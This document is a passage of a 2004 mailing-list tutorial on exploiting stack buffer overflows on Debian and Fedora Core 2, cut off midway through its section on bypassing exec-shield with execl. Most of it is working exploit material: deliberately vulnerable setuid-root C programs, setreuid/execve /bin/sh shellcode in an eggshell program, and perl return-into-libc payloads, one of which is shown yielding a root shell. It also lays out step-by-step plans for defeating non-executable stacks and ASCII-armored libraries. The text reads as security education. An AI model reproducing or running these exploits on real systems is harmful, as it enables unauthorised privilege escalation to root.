<<< Date Index >>>     <<< Thread Index >>>

Paper: How to exploit overflow vulnerability under Fedora Core 2



This paper is about the way of exploiting overflow vulnerability under Fedora Core 2. I don't think this is a perfect guide to the exploitation. If there are some mistakes, give your feedback. I just want this paper will help you to make much better papers about subject.

_________________________________________________________________
전세계인이 함께하는 웹 메일 서비스인 MSN Hotmail을 만나 보세요. http://loginnet.passport.com/login.srf?id=2&svc=mail&cbid=24325&msppjph=1&lc=1042
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

    - How to Exploit Overflow Vulnerability Under Fedora Core -



                                  by vangelis(vagelis@xxxxxxxxxxxxx)
                                  Email: progressfree at hotmail.com

** This paper is based on beist(http://www.beist.org)'s wonderful article
   "One Shot Overflow Attack Under Fedora Core2"(Korean) **

                         Thanks to beist!

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



-=[Contents]=-

1. What is Fedora Project
2. Limits of Classical and Return-into-libc Overflow Technique
3. What is exec-shield
4. A Good Hammer to Break Down 'exec-barrier'






1. What is Fedora Project?

You can find what Fedora Project is in the project homepage(http://fedora.redhat.com).
Read the section "What is The Fedora Project?" in the main page:


        The Fedora Project is a Red-Hat-sponsored  and  community-supported
        open source project. It is also a proving ground for new technology
        that may eventually make its way into Red Hat products. It is not a
        supported product of Red Hat, Inc.

        The goal of  The Fedora Project is to work with the Linux community
        to build a complete,  general purpose  operating system exclusively
        from free software. Development will be done in a public forum. The
        project will produce  time-based  releases of Fedora Core about 2-3
        times a year with a public release schedule.The Red Hat engineering
        team will continue to participate in the building  of Fedora Core &
        will  invite  and  encourage  more  outside  participation than was
        possible in Red Hat Linux. By using this more open process, we hope
        to provide an operating system  that uses free software development
        practices and is more appealing to the open source community.


Now, Fedora Core 3 is available(http://fedora.redhat.com/download/#download). The one of the main changes between previous version of Red Hat Linux(for example, Red Hat 8, 9.)and Fedora Core is the supply of exec-shield(http://people.redhat.com/mingo/exec-shield). This makes it difficult for attackers to exploit overflow vulnerability under the circumtances of Fedora
Core.



2. Limits of Classical and Return-into-libc Overflow Technique

You can use 'classical' overflow technique to exploit the systems till Red Hat Linux 8. Red Hat Linux 9 supplied random stack policy, and some systems supply non-executable stack, but we can overcome the security policies by using the return-into-libc technique. You can find various aticles including mine(http://neworder.box.sk/newsread.php?newsid=12476) about these. I have done test mostly in Red Hat system. So, now I just attach a test in Debian Sarge system. The following technique was first used to overcome non-executable and random
stack. This is just for showing a methodology.


------------------ test in Debian ---------------------------------------------------------

vangelis@Sarge8:~/bof$ cat > ch.c
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
       char file_name[20];

       printf("Put the file name you want to chown and chmod: ");

       scanf("%s",file_name);

       chown(file_name,0,0);
       chmod(file_name,04755);
       exit(0);
}

vangelis@Sarge8:~/bof$ su
Password:
Sarge8:/home/vangelis/bof# gcc -o ch ch.c
Sarge8:/home/vangelis/bof# cat > vul.c
int main(int argc, char *argv[])
{
   char buff[7];

   strcpy(buff, argv[1]);
   return 0;
}

Sarge8:/home/vangelis/bof# gcc -o vul vul.c
Sarge8:/home/vangelis/bof# ./ch
Put the file name you want to chown and chmod: vul
Sarge8:/home/vangelis/bof# ls -l vul
-rwsr-xr-x  1 root     root     11921 2004-11-05 09:04 vul
Sarge8:/home/vangelis/bof# su vangelis

vangelis@Sarge8:~/bof$ env
TERM=vt100
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
   :


vangelis@Sarge8:~/bof$ export TERM="vt100;/bin/sh"
vangelis@Sarge8:~/bof$ env
TERM=vt100;/bin/sh
SHELL=/bin/bash
SSH_CLIENT=::ffff:2xx.1xx.xx.xxx 3418 22
SSH_TTY=/dev/pts/6
USER=vangelis
    :

vangelis@Sarge8:~/bof$ gdb vul
GNU gdb 6.1-debian
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-linux"...Using host libthread_db library
"/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x804836a
(gdb) r
Starting program: /home/vangelis/bof/vul

Breakpoint 1, 0x0804836a in main ()
(gdb) x/50x $ebp
0xbffffa88:     0xbffffb14      0x4003b7f8      0x00000001      0xbffffb14
0xbffffa98:     0xbffffb1c      0x00000000      0x4015dedc      0x400164a0
0xbffffaa8:     0xbffffaa0      0x080483a0      0xbffffa90      0x4003b7b4
0xbffffab8:     0x00000000      0x00000000      0x00000000      0x40016c40
0xbffffac8:     0x00000001      0x080482a0      0x00000000      0x4000bbe0
0xbffffad8:     0x4000c290      0x40016c40      0x00000001      0x080482a0
0xbffffae8:     0x00000000      0x080482c1      0x08048364      0x00000001
0xbffffaf8:     0xbffffb14      0x080483a0      0x08048400      0x4000c290
0xbffffb08:     0xbffffb0c      0x00000000      0x00000001      0xbffffc01
0xbffffb18:     0x00000000      0xbffffc18      0xbffffc28      0xbffffc3b
0xbffffb28:     0xbffffc64      0xbffffc77      0xbffffc85      0xbffffeba
0xbffffb38:     0xbffffec6      0xbfffff00      0xbfffff18      0xbfffff24
0xbffffb48:     0xbfffff3b      0xbfffff4d
(gdb) x/s 0xbffffc01
0xbffffc01:      "/home/vangelis/bof/vul"
(gdb) x/8wx 0xbffffb1c
0xbffffb1c:     0xbffffc18      0xbffffc28      0xbffffc3b      0xbffffc64
0xbffffb2c:     0xbffffc77      0xbffffc85      0xbffffeba      0xbffffec6
(gdb) x/s 0xbffffc18
0xbffffc18:      "SHELL=/bin/bash"
(gdb) disas main
Dump of assembler code for function main:
0x08048364 <main+0>:    push   %ebp
0x08048365 <main+1>:    mov    %esp,%ebp
0x08048367 <main+3>:    sub    $0x28,%esp
0x0804836a <main+6>:    and    $0xfffffff0,%esp
0x0804836d <main+9>:    mov    $0x0,%eax
0x08048372 <main+14>:   sub    %eax,%esp
0x08048374 <main+16>:   mov    0xc(%ebp),%eax
0x08048377 <main+19>:   add    $0x4,%eax
0x0804837a <main+22>:   mov    (%eax),%eax
0x0804837c <main+24>:   mov    %eax,0x4(%esp)
0x08048380 <main+28>:   lea    0xffffffe8(%ebp),%eax
0x08048383 <main+31>:   mov    %eax,(%esp)
0x08048386 <main+34>:   call   0x8048288 <_init+56>
0x0804838b <main+39>:   mov    $0x0,%eax
0x08048390 <main+44>:   leave
0x08048391 <main+45>:   ret
0x08048392 <main+46>:   nop
0x08048393 <main+47>:   nop
0x08048394 <main+48>:   nop
0x08048395 <main+49>:   nop
0x08048396 <main+50>:   nop
0x08048397 <main+51>:   nop
0x08048398 <main+52>:   nop
0x08048399 <main+53>:   nop
0x0804839a <main+54>:   nop
0x0804839b <main+55>:   nop
0x0804839c <main+56>:   nop
0x0804839d <main+57>:   nop
0x0804839e <main+58>:   nop
0x0804839f <main+59>:   nop
End of assembler dump.
(gdb) x/i setuid
0x400d4160 <setuid>:    push   %ebx
(gdb) x/i system
0x400668b0 <system>:    sub    $0x10,%esp
(gdb) q
The program is running.  Exit anyway? (y or n) y
vangelis@Sarge8:~/bof$



## exploit payload ##

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
| data to overflow | (ret of printf) x n(dis from **env to *env[0]) | *setuid | *system |
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



0xbffffa98:     0xbffffb1c      0x00000000      0x4015dedc      0x400164a0
               ----------
            *-- (**env)
            |
0xbffffaa8:  |   0xbffffaa0      0x080483a0      0xbffffa90      0x4003b7b4
0xbffffab8:  |   0x00000000      0x00000000      0x00000000      0x40016c40
0xbffffac8:  |   0x00000001      0x080482a0      0x00000000      0x4000bbe0
0xbffffad8:  |   0x4000c290      0x40016c40      0x00000001      0x080482a0
0xbffffae8:  |   0x00000000      0x080482c1      0x08048364      0x00000001
0xbffffaf8:  |   0xbffffb14      0x080483a0      0x08048400      0x4000c290
0xbffffb08:  |   0xbffffb0c      0x00000000      0x00000001      0xbffffc01
0xbffffb18:  |   0x00000000      0xbffffc18      0xbffffc28      0xbffffc3b
            |                   ----------
            *----------------->  (*env[0])
              (total 34)



vangelis@Sarge8:~/bof$ ./vul `perl -e 'print "A"x28,"\xc9\x5a\x07\x40"x34,"\x60\x41\x0d\x40",
"\xb0\x68\x06\x40"'`
sh-3.00# id
uid=0(root) gid=1003(vangelis) groups=1003(vangelis)
sh-3.00#

--------- End of Test ---------------------------------------------------------------------



Now I will demonstrate the limitations of 'classical' overflow and return-into-libc technique. I use two technique in the following test. The test was performed in Fedora Core 2. I haven't have a chance to test in Fedora Core 3 yet. If there are some serious differences in Core 3, would you mail me and give an account in your 'own' Fedora Core 3 server to test? After I had finished an overflow test in Fedora Core 2 system, Fedora Core 3 was released. I don't install
Fedora Core 3 due to my laziness.



------ Test by using classical overflow technique in Fedora Core 2 --------------------------

[root@testbed fedora]# cat > chogm.c
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>

int main()
{
       char file_name[20];

       printf("Put the file name you want to chown and chmod: ");

       scanf("%s",file_name);

       chown(file_name,0,0);
       chmod(file_name,04755);
       exit(0);
}

[root@testbed fedora]# gcc -o chogm chogm.c
[root@testbed fedora]# cat > vul.c
int main(int argc, char *argv[])
{
   char buff[7];

   strcpy(buff, argv[1]);
   return 0;
}

[root@testbed fedora]# gcc -o vul vul.c
[root@testbed fedora]# ./chogm
Put the file name you want to chown and chmod: vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x  1 root root 4729 11? 1 00:41 vul
[root@testbed fedora]#



+++++++++++++++
Use of eggshell
+++++++++++++++


[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$ cat > egg.c
#include <stdlib.h>

#define DEFAULT_OFFSET                    0
#define DEFAULT_BUFFER_SIZE             512
#define DEFAULT_EGG_SIZE               2048
#define NOP                            0x90

char shellcode[] =
    "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80" /* setreuid(0,0) */
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned long get_esp(void) {
       __asm__("movl %esp,%eax");
}

int main(int argc, char *argv[]) {
       char *buff, *ptr, *egg;
       long *addr_ptr, addr;
       int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
       int i, eggsize=DEFAULT_EGG_SIZE;

       if (argc > 1) bsize   = atoi(argv[1]);
       if (argc > 2) offset  = atoi(argv[2]);
       if (argc > 3) eggsize = atoi(argv[3]);


       if (!(buff = malloc(bsize))) {
               printf("Can't allocate memory.\n");
       exit(0);
       }

       if (!(egg = malloc(eggsize))) {
               printf("Can't allocate memory.\n");
       exit(0);
       }

       addr = get_esp() - offset;
       printf("Using address: 0x%x\n", addr);

       ptr = buff;
       addr_ptr = (long *) ptr;
       for (i = 0; i < bsize; i+=4)
       {
               *(addr_ptr++) = addr;
       }
       ptr = egg;
       for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
               *(ptr++) = NOP;

       for (i = 0; i < strlen(shellcode); i++)
               *(ptr++) = shellcode[i];

       buff[bsize - 1] = '\0';
       egg[eggsize - 1] = '\0';
       memcpy(egg,"EGG=",4);
       putenv(egg);
       memcpy(buff,"RET=",4);
       putenv(buff);
       system("/bin/bash");
}

[vangelis@testbed fedora]$ gcc -o egg egg.c
[vangelis@testbed fedora]$ ./egg
Using address: 0xfee81c18
[vangelis@testbed fedora]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) disas main
Dump of assembler code for function main:
0x08048370 <main+0>:    push   %ebp
0x08048371 <main+1>:    mov    %esp,%ebp
0x08048373 <main+3>: sub $0x18,%esp // 24 bytes are needed to overwrite
0x08048376 <main+6>:    and    $0xfffffff0,%esp
0x08048379 <main+9>:    mov    $0x0,%eax
0x0804837e <main+14>:   sub    %eax,%esp
0x08048380 <main+16>:   sub    $0x8,%esp
0x08048383 <main+19>:   mov    0xc(%ebp),%eax
0x08048386 <main+22>:   add    $0x4,%eax
0x08048389 <main+25>:   pushl  (%eax)
0x0804838b <main+27>:   lea    0xffffffe8(%ebp),%eax
0x0804838e <main+30>:   push   %eax
0x0804838f <main+31>:   call   0x80482b0 <_init+56>
0x08048394 <main+36>:   add    $0x10,%esp
0x08048397 <main+39>:   mov    $0x0,%eax
0x0804839c <main+44>:   leave
0x0804839d <main+45>:   ret
0x0804839e <main+46>:   nop
0x0804839f <main+47>:   nop
End of assembler dump.
(gdb) q
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x8'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$ ./vul `perl -e 'print "\x18\xlc\xe8\xfe"x30'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$


I failed in the test owing to the non-executable stack.





++++++++++++++++++++++++
use of return-into-libc
++++++++++++++++++++++++

[vangelis@testbed fedora]$ env
HOSTNAME=testbed
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
    :


[vangelis@testbed fedora]$ export HOSTNAME="testbed;/bin/sh"
[vangelis@testbed fedora]$ env
HOSTNAME=testbed;/bin/sh
TERM=vt100
SHELL=/bin/bash
HISTSIZE=1000
    :



[vangelis@testbed fedora]$
[vangelis@testbed bof]$ gdb -q vul
(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".
(gdb) b main
Breakpoint 1 at 0x8048376
(gdb) r
Starting program: /home/vangelis/bof/vul
Error while mapping shared library sections:
: ?
  ±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.

Breakpoint 1, 0x08048376 in main ()
(gdb) x/50x $ebp
0xfeefe378:     0xfeefe3d8      0x0058cad4      0x00000001      0xfeefe404
0xfeefe388:     0xfeefe40c      0x00571f28      0x0068effc      0x00000000
0xfeefe398:     0xfeefe390      0xfeefe3d8      0xfeefe380      0x0058ca96
0xfeefe3a8:     0x00000000      0x00000000      0x00000000      0x00570fe0
0xfeefe3b8:     0x00000001      0x080482c0      0x00000000      0x00566840
0xfeefe3c8:     0x00567120      0x00570fe0      0x00000001      0x080482c0
0xfeefe3d8:     0x00000000      0x080482e1      0x08048370      0x00000001
0xfeefe3e8:     0xfeefe404      0x080483a0      0x080483e8      0x00567120
0xfeefe3f8:     0xfeefe3fc      0x0056d632      0x00000001      0xfefb4ba5
0xfeefe408:     0x00000000      0xfefb4bbc      0xfefb4be0      0xfefb4bf0
0xfeefe418:     0xfefb4bfb      0xfefb4c09      0xfefb4c32      0xfefb4c48
0xfeefe428:     0xfefb4c5d      0xfefb4c6b      0xfefb4e2e      0xfefb4e3a
0xfeefe438:     0xfefb4e45      0xfefb4e9b
(gdb) x/8x 0xfeefe40c
0xfeefe40c:     0xfefb4bbc      0xfefb4be0      0xfefb4bf0      0xfefb4bfb
0xfeefe41c:     0xfefb4c09      0xfefb4c32      0xfefb4c48      0xfefb4c5d
(gdb) x/s 0xfefb4bbc
0xfefb4bbc:      "HOSTNAME=testbed;/bin/sh"
(gdb) x/i setuid
0x5fefc0 <setuid>:      push   %ebp
(gdb) x/i system
0x5ab5e0 <system>:      push   %ebp
(gdb) disas printf
Dump of assembler code for function printf:
0x005b92a0 <printf+0>:  push   %ebp
0x005b92a1 <printf+1>:  mov    %esp,%ebp
0x005b92a3 <printf+3>:  sub    $0x10,%esp
0x005b92a6 <printf+6>:  mov    %ebx,0xfffffffc(%ebp)
0x005b92a9 <printf+9>:  mov    0x8(%ebp),%edx
0x005b92ac <printf+12>: lea    0xc(%ebp),%ecx
0x005b92af <printf+15>: call   0x58c90d <__i686.get_pc_thunk.bx>
0x005b92b4 <printf+20>: add    $0xd5d48,%ebx
0x005b92ba <printf+26>: mov    %ecx,0x8(%esp)
0x005b92be <printf+30>: mov    0xfffffe7c(%ebx),%ecx
0x005b92c4 <printf+36>: mov    %edx,0x4(%esp)
0x005b92c8 <printf+40>: mov    (%ecx),%edx
0x005b92ca <printf+42>: mov    %edx,(%esp)
0x005b92cd <printf+45>: call   0x5b0620 <vfprintf>
0x005b92d2 <printf+50>: mov    0xfffffffc(%ebp),%ebx
0x005b92d5 <printf+53>: mov    %ebp,%esp
0x005b92d7 <printf+55>: pop    %ebp
0x005b92d8 <printf+56>: ret
0x005b92d9 <printf+57>: nop
0x005b92da <printf+58>: nop
0x005b92db <printf+59>: nop
0x005b92dc <printf+60>: nop
0x005b92dd <printf+61>: nop
0x005b92de <printf+62>: nop
0x005b92df <printf+63>: nop
End of assembler dump.
(gdb) q
The program is running.  Exit anyway? (y or n) y
[vangelis@testbed bof]$
[vangelis@testbed fedora]$ ./vul `perl -e 'print "A"x28,"\xd8\x92\x5b"x34,"\c0\ef\x5f","\xe0\xb5\x5a"'`
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$ ./vul "`perl -e 'print "A"x28,"\x00\xd8\x92\x5b"x34,"\x00\c0\ef\x5f",
"\x00\xe0\xb5\x5a"'`"
?
¸ê·¸ë©?
ìì
ì¤ë¥
[vangelis@testbed fedora]$


Even though I used an advanced return-into-libc technique, I also failed in the test.

--------- End of Test ---------------------------------------------------------------------




Now we can find it hard to apply the calssiacl & return-into-libc technique to exploitation.
This is because of the exec-shield. Let's check what exec-shield is.




3. What is exec-shield?

You can understand 'what exec-shield is' by redaing "ANNOUNCE-exec-shield". You can find "ANNOUNCE-exec-shield" in "http://people.redhat.com/mingo/exec-shield/ANNOUNCE-exec-shield";. "ANNOUNCE-exec-shield" is a detailed explanation about 'exec-shield'. Let's check essential
parts of "ANNOUNCE-exec-shield" for exploitation:


"The exec-shield feature provides protection against stack, buffer or function pointer overflows, and against other types of exploits that rely on overwriting data structures and/or putting code into those structures. The patch also makes it harder to pass in and execute the
       so-called 'shell-code' of exploits.


       Background:
       -----------

It is commonly known that x86 pagetables do not support the so-called executable bit in the pagetable entries - PROT_EXEC and PROT_READ are merged into a single 'read or execute' flag. This means that even if an application marks a certain memory area non-executable(by not providing the PROT_EXEC flag upon mapping it) under x86, that area is still
       executable, if the area is PROT_READ.

Furthermore, the x86 ELF ABI marks the process stack executable, which requires that the stack is marked executable even on CPUs that support
       an executable bit in the pagetables.

This problem has been addressed in the past by various kernel patches, such as Solar Designer's excellent "non-exec stack patch".These patches mostly operate by using the x86 segmentation feature to set the code segment 'limit' value to a certain fixed value that points right below the stack frame. The exec-shield tries to cover as much virtual memory
       via the code segment limit as possible - not just the stack.


       Implementation:
       ---------------

The exec-shield feature works via the kernel transparently tracking executable mappings an application specifies, and maintains a 'maximum executable address' value.This is called the 'exec-limit'.The scheduler uses the exec-limit to update the code segment descriptor upon each context-switch. Since each process (or thread) in the system can have a different exec-limit, the scheduler sets the user code segment dynamica-
       lly so that always the correct code-segment limit is used.
                                          :

Furthermore, the kernel also remaps all PROT_EXEC mappings to the so-called ASCII-armor area, which on x86 is the addresses 0-16MB. These addresses are special because they cannot be jumped to via ASCII-based overflows.
                                          :

this means that not only the stack is non-executable, but lots of mmap()-ed data areas and the malloc() heap is non-executable as well.
       (some data areas are still executable, but most of them are not.)

the first 1MB of the ASCII-armor is left unused to provide NULL pointer dereference protection and leave space for 16-bit emulation mappings used
       by XFree86 and others.
                                          :

Note that the kernel will relocate every shared-library to the ASCII-
       armor, but the binary address is determined at link-time.


       Limitations:
       ------------

       This feature will not protect against every type of attack.

E.g. if an overflow can be used to overwrite a local variable which changes the flow of control in a way that compromises the system.But we do believe that this feature will stop every attack that is purely operating by overflowing the return address on the stack,or overflowing a function pointer in the heap. Furthermore, exec-shield makes it quite hard to mount a successful attack even in the other cases, because it
       inhibits the execution of exploit shell-code, in most cases.

also, if the overflow is within the exec-shield itself (e.g. within the data section of one of the shared library objects in the ASCII-armor)
       then the overflow might be possible to exploit.

also, it is possible to jump into the first 16MB even via ASCII attacks, if the overflow string is short and the end-of-string \0 byte is used. In this case it's not possible to pass arguments to the called function though, making the attack quite hard to succeed.(But it's not impossible, if there's a function in the binary that gives a root shell if simply
       called, then that can be used for the attack.)

All in one, exec-shield is one barrier against attacks, not blanket 100% protection in any way. The most efficient security can be provided by
       installing as many layers as possible.

To provide as good protection as possible, there's no trampoline workaround in the exec-shield code - ie. exec-limit violations in the trampoline case are never let through. Applications that need to rely on gcc trampolines will have to use the per-binary ELF flag to make the stack executable again. (The ELF flag is the same as used by Solar Designer's non-exec stack patch, to provide as much compatibility with
       existing non-exec-stack installations as possible.)

The exec-shield feature will uncover applications that incorrectly
       assumed that PROT_READ allows execution on x86."
                                          :




I strongly suggest you to read the whole "ANNOUNCE-exec-shield" to understand 'exec-shield'.
Now I will summarize four main points of "ANNOUNCE-exec-shield" for readers.


1) "The exec-shield feature provides protection against stack, buffer or function pointer overflows, and against other types of exploits that rely on overwriting data structures and / or putting code into those structures." So it is almost impossible for us to use shellcode for exploitation. This is because stack is non-execuatble and many map()-ed data areas and the malloc() heap is non-executable as well. You could identify this in the "Use of eggshell" section of my "Test by using classical overflow technique in
  Fedora Core 2".

2) Kernel remaps all PROT_EXEC mappings to the 'ASCII-armor' area, which on x86 is the addresses 0-16MB. So they cannot be jumped to via ASCII-based overflows. The first 1MB of the ASCII-armor is left unused to provide 'NULL pointer dereference protection'. And kernel relocates every shared-library to the ASCII-armor. In the classical and return- into-libc technique, we use 4 bytes address to exploit.But we can't use 4 bytes address system to overwrite stack owing to the NULL pointer dereference protection.And the more serious thing is that kernel relocates every shared-library to the ASCII-armor, so we can't use 'classical' return-into-libc. Most of case, we use the address of system() in the return-into-libc technique. Look at the following result from Fedora Core 2:


  (gdb) x/i setuid
  0x005fefc0 <setuid>:      push   %ebp
  (gdb) x/i system
  0x005ab5e0 <system>:      push   %ebp


  As you can see, NULL pointer dereference protection is applied.

  Look at the following mapping state of library area.


  [vangelis@testbed fedora]$ cat /proc/25297/maps
  0055b000-00570000 r-xp 00000000 03:05 84857      /lib/ld-2.3.3.so
  00570000-00571000 r--p 00014000 03:05 84857      /lib/ld-2.3.3.so
  00571000-00572000 rw-p 00015000 03:05 84857      /lib/ld-2.3.3.so
  00578000-0068d000 r-xp 00000000 03:05 84858      /lib/tls/libc-2.3.3.so
  0068d000-0068f000 r--p 00115000 03:05 84858      /lib/tls/libc-2.3.3.so
  0068f000-00691000 rw-p 00117000 03:05 84858      /lib/tls/libc-2.3.3.so
  00691000-00693000 rw-p 00000000 00:00 0
  006ba000-006bc000 r-xp 00000000 03:05 84860      /lib/libdl-2.3.3.so
  006bc000-006bd000 r--p 00001000 03:05 84860      /lib/libdl-2.3.3.so
  006bd000-006be000 rw-p 00002000 03:05 84860      /lib/libdl-2.3.3.so
  008d6000-008d9000 r-xp 00000000 03:05 84874      /lib/libtermcap.so.2.0.8
  008d9000-008da000 rw-p 00002000 03:05 84874      /lib/libtermcap.so.2.0.8
00bf4000-00bfe000 r-xp 00000000 03:05 80211 /lib/libnss_files-2.3.3.so 00bfe000-00bff000 r--p 00009000 03:05 80211 /lib/libnss_files-2.3.3.so 00bff000-00c00000 rw-p 0000a000 03:05 80211 /lib/libnss_files-2.3.3.so
  00f4f000-00f50000 r-xp 00000000 00:00 0
  08047000-080d2000 r-xp 00000000 03:05 70763      /bin/bash
  080d2000-080d8000 rw-p 0008b000 03:05 70763      /bin/bash
  080d8000-080dc000 rw-p 00000000 00:00 0
  09a65000-09a86000 rw-p 00000000 00:00 0
  f6d11000-f6d12000 rw-p 00000000 00:00 0
f6d12000-f6d18000 r--s 00000000 03:02 711249 /usr/lib/gconv/gconv-modules.cache f6d18000-f6e3f000 r--p 0187d000 03:02 697386 /usr/lib/locale/locale-archive f6e3f000-f703f000 r--p 00000000 03:02 697386 /usr/lib/locale/locale-archive
  f703f000-f7080000 rw-p 00000000 00:00 0
  f70a3000-f70a5000 rw-p fffff000 00:00 0
  feea4000-ff000000 rw-p fff65000 00:00 0
  ffffd000-ffffe000 ---p 00000000 00:00 0
  [vangelis@testbed fedora]$


  The library area is within the ASCII-armor.


3) "If the overflow is within the exec-shield itself (e.g. within the data section of one of the shared library objects in the ASCII-armor) then the overflow might be possible
  to exploit."


4) The exec-shield is not an 'exec-blanket' for 100% protection but just one 'exec-barrier' against attacks. So it is worth making good hammer to break down the 'exec-barrier'. Don't you think so? Now, it's time to make a good hammer or at least a spear.





4. A Good Hammer to Break Down 'exec-barrier'

Before going into the middle of the battle field, let's check the difference between the Red Hat 9.0 and Fedora Core 2. beist(http://beist.org) supplied me with the following neat
table.


                              [Memory Mapping Table]

+----------+---------------------------------+--------------------------------+ | | Red HaT LINUX 9.0 | Fedora CORE2 | |----------+---------------------------------+--------------------------------+ | Library | /lib/ld-2.3.2.so | /lib/ld-2.3.3.so | | | 0x40000000 - 0x40016fff | 0x00415000 - 0x0042bfff | | | | | | | /lib/tls/libc-2.3.2.so | /lib/tls/libc-2.3.3.so | | | 0x42000000 - 0x42132fff | 0x00432000 - 0x0054afff | | | | | | | | * position of 'libc-2.3.3.so' | | | | may change. | |----------+---------------------------------+--------------------------------+ | Text | 0x8048000 - 0x8048fff | 0x8048000 - 0x8048fff | +----------+---------------------------------+--------------------------------+ | Data | 0x8049000 - 0x8049fff | 0x8049000 - 0x8049fff | +----------+---------------------------------+--------------------------------+



                              [Main Features]

 +----------------------+-----------------------+---------------------+
 |                      |   Red HaT LINUX 9.0   |    Fedora CORE2     |
 |----------------------+-----------------------+---------------------+
 | Random Stack         |          O            |          O          |
 |----------------------+-----------------------+---------------------+
 | Non-executable Stack |          x            |          O          |
 +----------------------+-----------------------+---------------------+
 | Random Library       |          x            |          O          |
 +----------------------+-----------------------+---------------------+




Now, let's go into the middle of battle field. As we saw, it might be possible to exploit the overflow vulnerability if we use data section. More precisly speaking, we will use some values of data segment area with execl() function. I'll open the main points right now for the readers of this articles who can't wait any more. I mean the process of exploit. And
then I will explain each step.


++++++++++++++++++
Steps to exploit
++++++++++++++++++

1) Find the address of <execl+3>, which is used as return address.

2) Examine the data segment area to find the arguments of execl().

3) Examine the values of first argument of execl() to use symbolic link.

4) Make an exploit code for the sake of keeping the privilege of a process and spawning
  a shell.

5) Make symbolic link to the exploit with the values of first argument of execl().

6) Make a final exploit payload as follows:

+-------------------------+--------------------------------+---------------+ | data to overflow buffer | *first argument of execl() - 8 | *<execl + 3> | +-------------------------+--------------------------------+---------------+



It might be a little difficult for you to understand the whole steps yet. But, Don't worry. You will find yourself playing with a wonderful hammer to break down the 'exec-barrier'in a
few minutes.


Let's make a simple vulnerable program.

[vangelis@testbed fedora]$ cat > vul.c
int main(int argc, char *argv[])
{
       char buffer[256];
       strcpy(buffer,argv[1]);
       return 0;
}

[vangelis@testbed fedora]$ gcc -o vul vul.c


Let's make some changes for the perfect test.


[vangelis@testbed fedora]$ su
Password:
[root@testbed fedora]# chgrp root vul
[root@testbed fedora]# chown root vul
[root@testbed fedora]# chmod 4755 vul
[root@testbed fedora]# ls -l vul
-rwsr-xr-x  1 root root 4733 11?12 23:11 vul
[root@testbed fedora]# su vangelis
[vangelis@testbed fedora]$



Well.. we are ready to attack the vulnerable program. Do you remember the first step?... Good! The first step is quite easy. You can find the address of <execl+3> by using gdb.


[vangelis@testbed fedora]$ gdb vul
GNU gdb Red Hat Linux (6.0post-0.20040223.19rh)
Copyright 2004 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i386-redhat-linux-gnu"...(no debugging symbols found)...Using host libthread_db library "/lib/tls/libthread_db.so.1".

(gdb) b main
Breakpoint 1 at 0x8048379
(gdb) r
Starting program: /home/vangelis/fedora/vul
Error while mapping shared library sections:
: ?
  ±ê³µ.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
(no debugging symbols found)...(no debugging symbols found)...Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.
Error while reading shared library symbols:
: ê·¸ë?íììë ëë í ë¦¬ê° ìì.

Breakpoint 1, 0x08048379 in main ()
(gdb) disas execl
Dump of assembler code for function execl:
0x005fea00 <execl+0>:   push   %ebp
0x005fea01 <execl+1>:   mov    %esp,%ebp
0x005fea03 <execl+3>:   lea    0x10(%ebp),%eax
0x005fea06 <execl+6>:   push   %edi
0x005fea07 <execl+7>:   push   %esi
0x005fea08 <execl+8>:   push   %ebx
0x005fea09 <execl+9>:   sub    $0x1030,%esp
0x005fea0f <execl+15>:  mov    0xc(%ebp),%ecx
0x005fea12 <execl+18>:  movl   $0x400,0xfffffff0(%ebp)
0x005fea19 <execl+25>:  lea    0x1b(%esp),%esi
0x005fea1d <execl+29>:  and    $0xfffffff0,%esi
0x005fea20 <execl+32>:  call   0x58c90d <__i686.get_pc_thunk.bx>
0x005fea25 <execl+37>:  add    $0x905d7,%ebx
0x005fea2b <execl+43>:  mov    %ecx,(%esi)
0x005fea2d <execl+45>:  test   %ecx,%ecx
0x005fea2f <execl+47>:  mov    %eax,0xffffffe8(%ebp)
